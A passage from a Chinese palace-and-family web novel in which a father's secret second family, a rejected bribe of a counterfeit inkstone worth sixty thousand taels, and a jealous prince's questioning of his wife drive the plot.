赵旭庭瞧他这样子,啧啧两声,也不管苏承印理不理会自己,自顾自的说道:“我爹当初把我送到京城的读书的时候,就说请我们江南首富给帮我搞一台端砚傍身,但被拒绝了,说那端砚如今可不好找,你说江南首富都找不到的端砚,却被苏子恒家中给弄到了,他家里是什么背景啊?”
见苏承印不说话,赵旭庭摸了摸自己俊俏的下巴,一脸思索,“比我家有钱?”
他爹是江南节度使,不但俸禄比京城的一品官员高,还能有一些额外收入,家底算得上丰富的了,但是也不可能随随便便拿出五万两银子买一台端砚啊。
“大方啊。”赵旭庭站起来,“我得去瞧瞧咱们那位大公无私的太傅大人,会不会为了一方砚台折腰!”
苏承印从书中抬起头看向风风火火的赵旭庭,眉头皱了皱,“难道苏子恒买的是清欢口中说的那袁老板手里的砚台?”
他把手中的书放下,想着一会儿快上课了,自己又喝了不少水,还是先去解决一下,不然上课的时候尿急会被先生骂的。
苏承印从恭房出来就被一人拦住了去路,此人容貌上乘,但是与他比起来,还是逊色了几分。
苏承印看着拦了自己去路的人,眉头微蹙,“苏同窗有事?”
苏子恒一脸得意的看着苏承印,“此番是要感谢苏少爷割爱。”
苏承印看了苏子恒一眼,沉声道:“我听不懂苏公子在说什么,要上课了,若苏公子没事的话,我先回去上课了。”
他抬步要离开。
苏子恒往旁边跨了一步,拦住苏承印的去路,嘴角扯起一抹得意的弧度,“若不是苏少爷家中没为苏少爷出钱买那方砚台的话,也轮不到我。”
苏承印除了面对姜黎婳的时候容易生气暴怒之外,在面对外人的挑衅,他其实很稳得住,此时听苏子恒这么说,他也只是皱了皱眉头,并没有太多的不悦,他上下打量了一眼像是在自己面前宣告胜利的苏子恒,淡淡道:“那就祝苏公子如愿以偿,希望太傅喜欢你送的砚台。”
“这可是我爹花了六万两白银给我买到的,太傅肯定会喜欢。”苏子恒似笑非笑的看了苏承印一眼,问,“听说苏少爷的父亲很看重苏少爷,不知道你父亲是否愿意为了给你买一件拜师礼,花六万两银子?”
苏承印没有回答苏子恒的话,抬步走了。
这在苏子恒眼里就是落荒而逃。
看着苏承印离开的背影,苏子恒不屑的吐了口口水,“呸,就算你养在他身边又如何?他最爱的还不是我这个儿子,你那娘也不过是他养在身边的肥羊罢了,等把她身上的利用价值榨干,她就会被宰了,给我娘让位!”
苏子恒说完冷哼了一声,转身离开。
从旁边恭房里面磨磨蹭蹭走出来的赵旭庭伸手捂着嘴巴,他刚刚是不是吃到了什么大瓜?
他回头看了一眼苏子恒离开的方向...
难怪他之前会把苏子恒和苏承印两人认成是兄弟呢!
原来人家还真是兄弟!
只是....
赵旭庭又看向苏承印离开的方向,咂了咂嘴,他苏兄应该还不知道他爹在外面有家室吧?
他要不要当一回好人啊?
赵旭庭想到这里,心头忽然下了一个决定,他飞快的朝着自己的教室跑去。
两天后。
马车上,苏承印满是无奈的看着非要把他拖出来的赵旭庭,“赵大少爷,马上秋闱了,你不想学习,我还得学习啊!”
赵旭庭把苏承印手中的书抽出来
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随手扔到一边,“这时候了你还有心思读书?家都要被偷了!”
苏承印眉头微蹙,“我家遭贼了?”
赵旭庭想了想昨天自己听到的那些话,表情有些精彩,“差不多吧。”
苏承印当即要下车,“我得回去看看。”
“等会,不是真的被偷了!”赵旭庭一把拽住苏承印的手腕,压低声音道:“我告诉你一件事情,你可别激动,但是具体是不是我猜测的那样,咱们还得认证一下。”
赵旭庭说着就要靠近苏承印耳边把自己昨天听到的话告诉苏承印。
他这人不爱交朋友,苏承印是他来京城之后,难得觉得还不错的人,他还真不想看到苏承印被欺骗。
苏承印在他靠近自己耳朵的时候,往旁边偏了一下,“这里没别人,你可以直接说。”
“这可不行!”赵旭庭沉声道:“外面还有车夫呢。”
说着一把拉过苏承印在他耳边低语。
苏承印原本想挣扎,但对方世代习武,他如今虽然学文,但从未落下,苏承印根本不是他的对手。
后来苏承印不挣扎了,不是不想,而是忘了...
他呆滞的转身看向赵旭庭,半晌之后,厉声道:“绝无可能!”
他爹怎么可能背着他娘在外面找外室!
赵旭庭拍了拍苏承印的肩膀,“我就知道你接受不了,但是咱们先看看你爹是不是真的会陪那苏子恒过来找太傅不就得了。”
今日太傅休沐,他们要找太傅,就必须上太傅府中去找。
苏承印一路压抑着揍赵旭庭一顿的冲动跟着到了太傅府门外的大街上,此时太傅府门外还没有人,赵旭庭就让车夫把马车停在不远处的街边,自己一直盯着太傅府大门。
两人等了小半个时辰,赵旭庭热得直接把外袍脱了,苏承印也一直在擦汗,她看了一眼不远处还空无一人的太傅府大门,冷声道:“无稽之谈!我就说你是无稽之谈!希望赵兄以后不要乱说话!”
苏承印说罢就往马车外面走,他刚跳下马车就看到太傅府斜对面的茶楼门外,苏建明慈爱的拍了拍端着一个红木盒子的苏子恒,然后率先走进茶楼。
看到这一幕,苏承印像是被下了定身咒一样,无法动弹。
第55章 你怎么会在这儿
苏承印根本顾不得那么多,抬步就往那家茶楼走去。
从马车上跳下来的赵旭庭见苏承印往茶楼走,赶紧追了上去,“苏兄?渴了?走走走,进去我请你去雅室喝茶听戏!”
苏承印没有回应他,走进茶楼就东张西望的找方才自己看着走进来的两人。
“苏兄,你看!”忽然赵旭庭拉着苏承印指着楼上的一间雅室。
苏承印回头看去,看到了在雅室门外恭敬敲门的苏建明,他脸色顿沉,抬步就往二楼走。
赵旭庭见状叫来小二,“给小爷一间雅室。”说罢把手中的钱袋子直接丢进小二的手中。
小二掂量了一下钱袋子的分量,点头哈腰的把赵旭庭请上了二楼,雅室的位置正好是在苏建明他们刚刚敲门的那间雅室旁边。
苏承印站在苏建明他们房间外,听到里面传来说话声,“苏大人,你这是什么意思?”
赵旭庭已经打发小二去泡茶了,听到里面说话的声音,他撇嘴,压着声音和苏承印吐槽,“这沈老头平日里对我们是这不行那不让,自己休沐还跑来这儿听戏!也是个不正经的老头儿!”
苏承印根本没心思理会他,只顾着听里面的对话。
雅室内。
沈遇知瞧着站在自己面前的两人,他的脸色不是很好,平日知道他爱来这边听戏的人不多,除了身边伺候的小厮,就只有家中长子,这两人在自己才来这边不久,他们就过来了,可见是专门打听了的。
苏建明瞧着沈遇知的神色不好,连忙道:“先前和小侄在一旁的茶铺喝茶,见到太傅进来,便带小侄进来拜会一下太傅大人。”
沈遇知不咸不淡的看了他一眼,“苏大人无需多礼,若无其他事情的话,我就不留苏大人喝茶了。”
苏建明对沈遇知的态度有些不满,他如今虽然被官降一职,但好歹也是一个侍郎,沈太傅这态度未免也太轻慢他了,不过心头不满,却怕得罪了太傅,不敢表现出来。
他笑了笑,拉着旁边的苏子恒对沈遇知介绍道:“这是我老家族中的侄儿,如今在国子监求学,侄儿一直对太傅的文采很是崇敬,所以一直想拜太傅为师,听说太傅喜欢端砚,还专门求家中人为他弄来这一方端砚送给太傅当见面礼。”
苏子恒很有眼力劲儿的在苏建明介绍完自己后把装着端砚的盒子放在沈遇知手边的高几上,“这是学生的一点心意,还请太傅收下。”
沈遇知看了一眼旁边的盒子,眼底的温度彻底消失,他的手往旁边的高几上使劲一拍,厉声道:“君子爱财取之有道,本官虽然钟爱端砚,但也不至于犯糊涂,今日本官就当没见过你们,东西你们拿回去。”
他抬眸看了一眼脸上还带着讨好笑意的苏子恒,冷声道:“与其在这里动一些旁门左道的心思,还不如回去多看两篇文章!”
苏建明是好不容易才弄到了这砚台的,他怎么可能不把砚台送出去,连忙道:“大人误会了,这砚台只是我们的一点心意,您收不收恒儿为徒都一样的。”
“是啊是啊,这砚台是我爹为了我...不是,是为了太傅大人花了六万两专门去买来的砚台...”
“六万两。”沈遇知嗤笑一声打断苏子恒的话,“你们家还真是财大气粗,本官福气薄弱,可用不起这价值六万两的砚台。”
他说完直接下逐客令,“你们把这砚台拿走。”
苏建明整个人一僵,想到自己为了这方砚台甚至不惜去**借钱,他还是不死心,继续说道,“太傅大人,您就看一眼,若您...”
“苏大人,你是听不懂本官在说什么吗?”沈遇知站起来,“既然你们不愿意走,那本官走。”
这苏家人真是有意思,夫人带着儿子三顾茅庐去师父家中拜师,丈夫带着侄儿上门送礼要他收徒?
心简直一个比一个高!
赵旭庭在听到沈遇知说要走的时候一把把苏承印拽进了旁边的雅室,顺便把门关上。
听到外面传来的动静,他拍了拍胸脯,压着声音道:“还好沈太傅没收,不然他在我心中清廉的形象就彻底消失了。”
苏承印的关注点却没有在这里,他看着赵旭庭,淡淡道:“我父亲说那是他侄儿。”
不是儿子。
赵旭庭:“......”
他上前拍了拍苏承印的肩膀,叹气道:“苏兄,不是我说你,你这人怎么在面对自己家人的时候,脑子那么容易转不过弯呢?昨天你和那苏子恒在恭房外面聊天的时候我就觉得不对劲了
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。”
那苏子恒后面那几句话明显就是在说苏建明是他爹啊!
苏承印皱眉看向他,让他继续说。
“那苏子恒他爹不是早就**吗?跟着寡母住在城南,他哪儿来个爹花这么大的价钱给他买砚台?”赵旭庭拍了拍还不愿意相信真相的苏承印肩膀,摇头叹气,“你爹刚刚在太傅面前那样说,不过是给自己找个正当的身份罢了。”
苏承印双手死死的捏在一起,“不可能,绝对不可能!”
他打开门就往外走,赵旭庭瞧着苏承印那落荒而逃的背影,啧啧摇头,怎么就接受不了现实呢!
他也不着急去追,而是端起高几上的茶杯喝了口水,然后走到窗边推开窗户看向街道,瞧着苏承印往苏家的方向而去,他又看了一眼朝另一边离开的马车,他摇头收回目光,“当局者迷啊。”
忽然他神色一顿,看向对面茶楼门口的那抹倩影,他转身就往外跑。
冷清的茶楼中,姜黎婳刚到茶楼就看见了在里面等着自己的佟掌柜,她走进去,“派个人给我说一声就是,佟掌柜不必事事亲为。”
“东家您吩咐的事情,在下不敢假手于人。”佟掌柜说着把方才让人打听的事情都告诉了姜黎婳。
姜黎婳嘴角一勾,她就知道师兄是不可能收那方砚台的,即便再喜欢,他也不会收下。
毕竟,人品差的人,可当不了师父的学生。
“你先回去吧,想来用不了多久,苏建明应该就会登门要卖掉手中砚台了。”
佟掌柜躬身应是,起身离开。
他刚离开没一会儿,房门被人敲响,铃铛和知夏两人同时看向姜黎婳,姜黎婳眼里也闪过一丝不解,是谁?
她被发现了?
不应该啊?
示意铃铛去开门,姜黎婳坐直身子等着来人。
门一开,一个英俊硬朗的男子笑着走进来,“还真是你啊,小花儿!”
他一点都不客气的在姜黎婳对面坐下,“刚刚看到你我还以为自己是眼花了了呢!你怎么来京城了?你哥呢?”
姜黎婳看着坐在自己对面的人,眼角抽了抽,不是他今天忽然出现的话,她都把这人给忘了!
姜黎婳张了张嘴,蹙眉问,“旭庭哥,你怎么会在这儿?”
第56章 早知道你会被送去冲喜,我就提亲了
赵旭庭把自己陪苏承印找渣爹出轨证据的事情给说了,当然,他很有道德的没有透露苏承印的姓名,只说了与同窗一起过来,但是他透露的砚台、拜师,这些已经让姜黎婳知道了他的这位同窗是谁。
她也是没想到爽朗如赵旭庭,竟然能和苏承印那种暴躁的人当朋友。
赵旭庭没注意到她的神色有异,自顾自的问,“你还没告诉我你为什么会在京城呢?你哥和你爹也来京城了?你们移居京城了?”
姜黎婳瞧着在自己面前喋喋不休的赵旭庭,眼里闪过一丝狡黠的光芒,片刻后她把自己的身世和与苏家的关系,并且把知道苏建明有外室的事情全都说了出来。
当然,她没说自己嫁的人是楚御礼,自己如今是大皇子妃。
她怕吓着他。
“你爹这么渣?你娘那么眼瞎?还有苏兄他是不是脑子有病啊?”赵旭庭表情那叫一个愤世嫉俗,他对着姜黎婳道:“我真是大开眼界了!”
他是真没想到那苏承印的渣爹,竟然还是姜黎婳的亲生父亲啊!
赵旭庭端着茶水喝了一口,又问姜黎婳,“你怎么不告诉他们你知道的那些真相?”
姜黎婳垂眸,眼里全是落寞之色,“他们是不会相信的,只会认为我在挑拨离间。”
赵旭庭气得拍桌而起,“岂有此理,岂有此理!小花儿,你放心,我一定帮你家人认清楚你渣爹和那个绿茶妹妹的真面目!”
听他说话用的那些词,姜黎婳扶额,她都不知道这人从她这儿偷学走了多少词。
这赵旭庭比兄长小一岁,以前学业不算很好,而她哥哥是江南才子,而作为江南首富的父亲和江南节度使两人交情甚笃,这赵旭庭也因着两家的关系顺理成章的被节度使安排到他们家跟着哥哥学习。
不过此人极其自来熟,在他们家从不把自己当外人,即便每次他登门,她都会尽量回避,他也总有办法找到她非要带她一起玩。
“你也不要贸然行动。”姜黎婳扬了扬眉梢,“现在怀疑的种子已经在苏承印的心中种下了,即便他再三告诉自己那不是真的,他心头也会有芥蒂。”
“平日看你没心没肺的,没想到如今心思这么重。”赵旭庭看了一眼已经把头发挽起的姜黎婳,眼里闪过一丝让人察觉不到的落寞,语气却很淡然,“你成亲怎么也不请我去喝一杯喜酒啊,我也好给你送上一份贺礼啊。”
“苏家人很不待见我的,你觉得我能请自己的朋友登门吗?”姜黎婳看了一眼外面的天色,起身告辞,“时辰不早了,我先回去了,旭庭哥,下次见。”
说完抬步往外走。
“唉,下次是什么时候啊?你总要给我说一下你嫁给谁了吧?我要找你的话,得上哪儿找啊?”赵旭庭站起来追上姜黎婳又是一顿输出。
姜黎婳被他吵得头疼,再加上赵旭庭离她有些近,她有点不适应,她往后退了一步,对赵旭庭客气的笑了笑,“如今我都成亲了,与旭庭哥经常见面的话,怕是会惹出闲话的。”
赵旭庭受伤的看着退了一步的姜黎婳,“你认真的吗?”
姜黎婳颔首,“以前在江南有兄长在一旁,外人也知道我们两家关系,咱们一起玩倒是没什么。”接着又无奈叹气,“但如今我已嫁为人妇,若单独与旭庭哥见面的话,的确不好。”
“我说你退这一步是认真的吗?”赵旭庭指着姜黎婳,“我把你当...妹妹,你把我当贼防啊?”
姜黎婳:“......”
她输了!
若继续在这儿和赵旭庭说下去的话,说不定会引人注目...
想到之后赵旭庭在苏承印那里打听一下还是可以打听出来她嫁给大皇子的消息,姜黎婳干脆道:“那你若有事就上大皇子府找我吧。”
“皇子府?”赵旭庭眼珠子转了转,接着他眼睛一瞪,指着姜黎婳大声吼道:“你就是....”
他捂着嘴,压低声音,“你就是苏家那个给大皇子冲喜的女儿!”
姜黎婳扶额,“对,没错!”她没好气的说道,“你满意了吧?我走了。”
头也不回带着两个婢女疾步离开。
赵旭庭看着姜黎婳离开的背影,痛心疾首的喃喃自语,“早知道你会被用来冲喜,当初我就让我爹去你们家提亲了!”
根本没听到这些话的姜黎婳上了马车还一阵无语,“怎么会遇到他了?”
这个大喇叭若是知道她是被嫁给楚御礼冲喜的,那以后父亲和哥哥入京,应该也会知道。
也不知道到时候又得闹出多少事情来。
......
苏建明和苏子恒回到梧桐巷的院子,一直在屋中等消息的邹如意第一时间就迎了上来,“如何了?太傅可同意收恒儿当学生了?”
苏建明没好气的哼了一声,“收什么收!连我们送去的端砚都不看一眼就拒绝了!”
他是真没想到这沈太傅竟
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然清廉到连自己心心念念的端砚都不愿意收!
苏子恒也阴沉着一张脸,那老头明明喜欢,却要装出一副清高的模样,真是虚伪!
但是想到自己心心念念的那个姑娘,他蹙眉,“太傅不收,儿子就不能随时出入太傅府了,那和沈小姐的事情岂不是...”
其实他对于考功名没有太大的欲望,只要能娶到喜欢的女子,他当一辈子的闲散公子也不是不可以。
他千方百计地想接近太傅,也不过是想近水楼台罢了,谁知道,那沈太傅竟然是个这么不知好歹的人!
这么贵的砚台,他竟然都不放在眼里!
苏建明沉默了片刻,冷声道:“你用心学习,考取了功名上门求取,还怕沈小姐不嫁给你?”
“那也要恒儿考得上才是啊。”邹如意忧心的说道。
苏建明大袖一甩,“一整日只知道玩乐,不好好读书自然考不上,你学一下承儿也不至于考了几年都考不上贡士!”
说完拿过苏子恒手上的砚台转身就离开院子。
苏子恒想到苏承印在国子监的成绩一直名列前茅,而自己却一直吊车尾,他看向邹如意,沉声道:“娘?爹是不是瞧不上我这个儿子?不是伯府小姐生的儿子,就没用是吗?”
邹如意被他这句话刺激到,她那温柔的脸上露出狰狞之色,“你若不能考上贡士,那个女人的儿子也绝对不可以考上!”
苏子恒闻言看向邹如意,脸上露出笑意,“娘有什么好办法?”
邹如意神秘的勾了勾嘴角,“你等着看好了。”
这边苏建明拿着手中的砚台走到了袁宅门前,他原本想直接把砚台退给袁老板,但是想到前两日自己在袁老板面前摆的脸色,他觉得今日上门退货,定然是会被为难的,况且,当时因为太心急,他们之间并没有留下买卖契约。
他垂眸看了一眼手中的砚台,转身上了马车,“先去墨宝斋。”
两个时辰后。
墨宝斋的雅室中,佟掌柜面上带着疏离的笑意把面前的红木盒子合上,客气的对苏建明道:“苏大人这砚台我们可以收,但只能出五百两。”
“五百两!”苏建明猛地站起来,“这可是我花了六万两买的端砚!佟掌柜别欺人太甚!”
“端砚?”佟掌柜笑了,他把盒子往苏建明面前推了一下,“这砚台的确是有几分像端砚,但却不是真的端砚,苏大人别把在下当不懂行的人来糊弄。”
第57章 可以吗
听到佟掌柜说自己手上的这砚台不是真正的端砚,苏建明的心咯噔一声,他有些心慌的站起来,端着自己的砚台看了半晌,接着口干舌燥的咂了咂嘴,对佟掌柜道:“佟掌柜,你再给瞧瞧,我这个可是上好的端砚!怎么可能是假货!”
佟掌柜瞧着苏建明焦急的模样,心想我卖给你的假货难道我还不知道?
他慢条斯理的喝了口茶,面上笑容不减,“苏大人若是不相信在下的话,大可以去找其他人问问,看看这是不是真正的端砚。”
苏建明的心瞬间沉入谷底。
“这怎么可能!”他抱着自己的端砚就往门外大步离去,嘴里还念叨着,“我怎么可能是假的...我六万两银子买的...”
佟掌柜瞧着苏建明失魂落魄的模样,又看了一眼逐渐暗下来的天色,摇头吩咐小二关店。
而另一边国子监的学子寝室中,苏承印自欺欺人的觉得那苏子恒不过是他父亲老家的侄儿,绝对不可能是父亲的儿子,几乎是下意识的把赵旭庭告诉他的那些话忽略,不想当真。
他似乎觉得只要相信了父亲先前对沈遇知说的那些话,那他们苏家就依旧还是那个和和美美的苏家。
......
忙了一整天的楚御礼坐在书房的桌上回想着先前暗卫回来告诉自己的事情,眉头下意识的皱了起来。
平日楚御礼在府中的话,到了晚膳时间他都会直接去梨月居用膳,今天姜黎婳都等了好半晌了,也没见他过来,只能亲自去书房找他。
有楚御礼的吩咐,姜黎婳到书房的时候,昭临没有通报就直接让姜黎婳进了书房,她走进去,看到没去她院中用晚膳的人正皱着眉头想事情。
她在原地静默了片刻,想到自己如今身为他的妻子,应当与他分担烦心事,便抬步走过去,低声问,“殿下是遇到什么难题了吗?”
听到她的声音,楚御礼抬头朝她看去,见她朝自己走来,楚御礼站起身,“一时忘了时间,走吧,去用晚膳。”
姜黎婳点了点头,任由楚御礼拉着自己的手往外走。
一路上楚御礼偏头看了姜黎婳好几次,但每次都只是看一眼又收回目光,小心翼翼的模样,让姜黎婳越发觉得不对劲。
她问,“殿下,出什么事了吗?”
“听说娘子今日见了江南节度使之子?”楚御礼垂着眼眸问,“你们以前关系很好吗?”
姜黎婳偏头看向楚御礼,这就是他烦恼的事情?
她所认为的那些大事呢?
她还以为他在烦恼如何扳倒哪个大臣呢?
弄半天,就这?
见姜黎婳不说话,楚御礼忽然意识到可能自己的行为让她不喜了,他连忙道:“我让暗卫跟着你只是害怕你有危险,不是为了监视你的。”
姜黎婳轻笑,“我也没有怪殿下啊。”
她身为他的皇子妃,且他表现得很在意她的模样,若不派个暗卫保护她,才不正常吧?
“那你为何不说话?”楚御礼丹凤眼中浮现出一丝落寞,“娘子不喜欢为夫过问你的事情吗?还是你不愿意说?”
如此粘人还没有安全感的大皇子,她不是第一次见了。
姜黎婳心头有点无奈,却没有半点不耐烦,她轻声道:“他是我哥哥的学生,以前他经常到家中跟哥哥学习,今日与他相见也是偶然。”
原本还不开心的人闻言,嘴角轻轻翘了翘,“娘子不喜欢他?”
“自然不喜欢。”姜黎婳侧眸看了楚御礼一眼,好笑的问,“在殿下眼中,我是那种见一个爱一个的人?”
她才不是。
楚御礼盯着姜黎婳那娇媚的脸蛋轻轻摇头,“但娘子人见人爱。”
姜黎婳一怔,接着眉梢一扬勾唇看向他,“那怎么办?难道因为我貌美如花,殿下还不准我出门了?”
“可以吗?”楚御礼深深地看着姜黎婳,“你可以不出门吗?”
这人之前挺正常的,现在还想玩强制爱了?
姜黎婳面上的笑容收敛了起来,她以为他不一样的...
她往后退了一步,静静地看着楚御礼,若这人因为她遇到了一个男子就要把她囚禁在这府中,那他也不是什么良人。
看到姜黎婳的表情变了,楚御礼心头一跳,他往前走了一步,急忙道:“为夫与娘子开玩笑的。”
像是害怕姜黎婳躲着自己,楚御礼一把抓住姜黎婳的手握在手心,缓缓道:“你是风,是云,是蝴蝶,被困在府中就失去了灵魂,为夫怎么会因为你长得好看,就不让你出门呢。”
大不了把那些不长眼的,喜欢她的人都给...
“他也不喜欢我。”姜黎婳的话打断了楚御礼的思绪。
“嗯?”他垂眸看她。
姜黎婳叹气,“他只把我当妹妹看待。”
她对楚御礼的了解不多,之前更多的了解是在书上,后来成亲后他表现得很粘人,对她也很好,整个人可以说是谦谦君子也不为过。
但从二皇子和慧贵妃被禁足,再到他面不改色的杀死照顾了他十五年的谢荣,她就知道,他绝对不像是他表现出来的那样简单和温良无害。
所以为了不给赵旭庭带去不必要的麻烦,她觉得还是把话说清楚的好。
“嗯,为夫也没说什么。”楚御礼牵着姜黎婳的手走进院子,“用膳吧。”
“我说的是真的。”瞧着他吃味的模样,姜黎婳心头无奈,只能认真的
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说道:“妾身是殿下的大皇子妃,难道殿下不相信妾身吗?”
听到姜黎婳的自称变了,楚御礼垂眸看她,正好与她认真的神色对上,他心头一怔,低声道:“为夫没有不信娘子,只是羡慕他,他竟然能与娘子一同长大。”
姜黎婳:“......”
......
苏清欢没想到天都快黑了,苏建明竟然还会上国公府找自己。
她把萧景宴支开,然后给苏建明倒了茶,看到苏建明一口气就把杯中的茶水喝了个干净,苏清欢心头闪过一丝不祥的预感,她在苏建明对面的桌边坐下,低声问,“爹,你现在过来找我做什么啊?这么晚了登门,会让世子猜疑的。”
“猜疑?爹找女儿,女婿猜疑什么?”苏建明脸色不好,他沉声道:“我问你,那个袁老板,你打听过他的底细吗?”
苏清欢心头一跳,面上却不动声色,“爹现在问袁老板做什么?”
“做什么?当然是退货了!”苏建明的手在桌子上狠狠地砸了一下,厉声道:“这砚台我拿去墨宝斋问过佟掌柜了,他说这是假货!”
“佟掌柜?”苏清欢眼中露出一丝轻蔑,“他一个当掌柜的,又不是老板,可能连真正的端砚长什么样子都没见过,父亲可别被一个掌柜的给误导了。”
说到这里她沉默了片刻,轻声问,“爹为何还要拿去问问佟掌柜?难道是信不过女儿办的事情?”
“这倒不是。”苏建明把自己带苏子恒去拜见太傅的被拒绝的事情说了,“现在砚台留在手中也没有用,我就想把砚台给卖出去,谁知道那佟掌柜居然只给五百两银子!”
“五百两?”苏清欢站起来,“他不会是想骗爹爹吧?”
“所以我才过来找你,你准备一下,明日和爹爹去城南,咱们去袁宅把这砚台退给那袁老板。”
苏清欢心不在焉的点了点头,“那爹爹先回去,明日咱们在一同出门。”
送走苏建明,萧景宴走了进来,看苏清欢忧心忡忡的模样,他眉头微微皱起,“岳父过来找你有事?”
苏清欢笑着敷衍了两句,萧景宴对她的事情也并不上心,闻言沉声道:“你如今已经是国公府的世子夫人了,别整日在外抛头露面,成何体统。”
“可毕竟是爹爹找上门了,我总不好拒绝。”苏清欢察觉到萧景宴不高兴,她上前抱着萧景宴的腰,柔声道:“妾身答应世子,这是我最后一次管娘家的事情了,世子别生气了好不好?”
萧景宴的眉眼这才柔和了下来,“为夫也是怕你累着。”
苏清欢甜蜜的把脸贴在萧景宴的胸膛,甜蜜的说道,“妾身就知道世子对妾身最好了。”
第58章 偷鸡不成蚀把米
苏建明因为心头有事,一整夜都没睡,夜半三更就坐在书房等着出门,下了早朝去工部走了一趟就慌忙去了国公府。
工部大小官员瞧他这几日鲜少出现在工部,都以为他是破罐子破摔了。
而刚刚晋升为工部尚书的谢如玉见苏建明来工部走了一趟又匆匆出去了,他挑了挑眉头朝吏部走去。
苏建明到国公府时苏清欢已经在马车上等着他了,雪儿见苏建明走过来,便给苏清欢通报了一声,苏清欢掀开帘子让苏建明上马车。
苏建明上了马车,苏清欢就道:“这是女儿最后一次陪爹爹出门办事了,这些日子女儿时常因为苏府的事情外出,已经惹世子不高兴了。”
“把这砚台退了,后面也没什么事情需要你一同出面了。”苏建明听苏清欢话中对自己竟然有了埋怨之意,他脸色不好的说道:“这砚台若不是你出面让买的,我也不会让你跟着我一起前去找人退货。”
苏清欢咬了咬牙,低声道:“父亲是在怪女儿多事吗?”她垂下头,“也是父亲您说了要送太傅端砚,女儿才费尽心思找的,到头来却一点好没落到,反倒被您埋怨上了。”
“我不是那个意思。”苏建明沉声道,“先去退货吧。”
一个时辰后。
苏清欢怔怔的看着带人看宅子的人牙子,不可置信的问道,“你说这宅子没有卖出去过?”
“是啊,这宅子根本没人住过,怎么可能卖出去了。”人牙子笑着道:“这宅子虽大,但价格却贵了,租金是那巷子中那些小宅院的十倍,能在这边买个大宅子的人,更宁愿出钱去西城买个小宅院了。”
“那这牌匾是怎么回事?”苏建明指着写着袁宅两个字的牌匾,“这不是写着袁宅吗?”
“这个啊,听说前些日子一个姓袁的商贾租了几日,不过前两天就搬走了。”人牙子说着皱起眉头,“这牌匾怎么还忘了取下来了?”
苏清欢和苏建明哪儿不明白,他们这是被人给骗了。
苏建明想到昨日佟掌柜只给自己五百两收自己收手上的这方砚台,他就忍不住心头一跳。
苏清欢心头的那不祥的预感也越来越强烈,她张了张嘴,道:“爹,咱们找人辨别一下吧,那佟掌柜说的话也不可全信对吧?”
此时苏建明听到苏清欢娇柔的声音并没有感受到一点宽慰,他感觉自己现在像是坠入了地狱,他卖掉字画好不容易凑到的三万两没了,还欠下**三万两银子!
若大儿子入了沈太傅的眼,他还觉得那些银子花得值得,可如今,六万两银子花出去了。
儿子没被人看上。
手上的砚台也是假的!
想到这里,苏建明抬手一巴掌落在苏清欢脸上,他面目狰狞,双目赤红,“都是你干的好事!”
苏清欢是第一次被苏建明打,而这一巴掌又猝不及防,她根本没来得及躲。
捂着火辣辣的脸颊,苏清欢不可置信的看向苏建明,“你打我?”
“六万两银子!”苏建明指着苏清欢,“你知不知道为了凑齐这六万两银子,我都做了什么!”
苏建明气得来回踱步,“现在告诉我,我们被骗了?”
“我也没见过端砚啊!”苏清欢捂着脸,“我怎么知道那个袁老板是骗子啊!”说到这里她忍不住抱怨,“如果不是外祖母和姜黎婳不愿意把砚台给我们,我也不会想到从外面买砚台啊。”
“那个丧门星!”苏建明转身就往马车的方向走去。
苏清欢看到苏建明离开,连忙抬步跟了上去。
“爹。”
苏建明停下脚步回头看向苏清欢,“怎么?”
苏清欢低声道:“您难道就这么算了?咱们就这么吃下这个哑巴亏了?”
“那还能怎么办?”苏建明一只手死死的握成拳头,当务之急是把**那三万两银子给还上!
“您不想给姜黎婳一些教训吗?”苏清欢抿了抿嘴,“咱们如今走到这一步,可是她造成的。”
“怎么教训?”苏建明冷笑,“你是觉得我们苏家还不够乱是吗?”
苏清欢抿了抿嘴,眼里闪过一丝恨意,“咱们家变成这样都是姜黎婳造成的,难道您要就这么算了?”
“这件事情再从长计议。”
苏清欢回到国公府想到苏建明对大皇子的忌惮,心头的气就不打一处来,她抬手想摔了手边的瓷器,却看到萧景宴从门外走了进来。
她忍着心底的脾气,笑着站起来,“世子回来了。”
她脸上的痕迹虽然用脂粉遮掩了,却还是很
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容易被看出来,萧景宴更是一眼就看出她被打了。
他眉头一皱,“岳父打的?”
苏清欢委屈的吸了吸鼻子,把自己今日被打的事情添油加醋的说了进去,还顺便指责了一下姜黎婳不孝,不为苏家着想。
萧景宴想到姜黎婳那张漂亮的脸蛋,嘴角弯起一抹耐人寻味的弧度,他轻轻地拍了拍苏清欢,轻声道:“你们是双胞胎的亲姐妹,关系应该比别人更好才是,为夫觉得你对你妹妹偏见太重了,你应该放下偏见,和你妹妹好好相处。”
苏清欢对姜黎婳的恨意因为萧景宴的这句话变得更浓烈了。
为什么!
为什么姜黎婳这一世明明没有嫁给萧景宴,他却依旧要为姜黎婳说话!明明她才是萧景宴的夫人!
“世子说的是,是妾身一时委屈,便把所有错都推到了妹妹身上,说实话,妹妹又有什么错呢,她不过是在乡下长大,没见过好的,什么好的都想留在身边罢了。”
萧景宴闻言眉头微挑,“那你这个做姐姐的应该大方一点,给你妹妹送点好东西去,没事儿也可以邀请大皇子妃上府上坐坐,你们姐妹两人说点贴己话也好啊。”
他轻轻搂着苏清欢的腰肢,语重心长的说道:“她以前如何不提,如今再怎么说也是大皇子妃,是皇室中人,你与她搞好关系,在咱们这些一等公爵的夫人中地位都要高上几分,知道了吗?”
苏清欢掩下眼底的怨念,轻轻点头,“多谢世子指点,妾身知道了。”
她才不要讨好姜黎婳来拉高自己在其他夫人中的地位!她要把姜黎婳踩在脚下!
她要姜黎婳跪在地上求她!
刚被传到宫中的姜黎婳在皇后身边坐下鼻子就开始发痒,她背过身去,用帕子掩住鼻子,狠狠地打了两个喷嚏。
皇后等她打完了喷嚏,才问,“是不是着凉了?要不要找个太医给你瞧瞧?”
姜黎婳摇头,“不用,儿臣应该是进宫的时候闻到了花粉,先前只是鼻子有些发痒。”
莫名其妙的打喷嚏,她可以肯定,一定是苏家人在背后骂她!
为什么不是别人?
她人见人爱花见花开的,除了苏家人对她有莫名的仇恨之外,她暂时还真想不到谁会在背后骂她。
第59章 瞧瞧你都没力气了
皇后知道姜黎婳会医术,所以在听到姜黎婳说自己没事儿之后,她也就没有坚持要让太医过来给姜黎婳诊脉,而是拉着姜黎婳说起了正事。
“说起这件事情也是咱们皇家亏欠你的。”皇后拉着姜黎婳的手轻轻拍了拍,“当初钦天监算出你的八字能给御儿冲喜的时候,本宫已经听说你们府上在与国公府议亲了,所以便匆匆定下了你们的婚事,也就没让你入宫学习礼仪。”
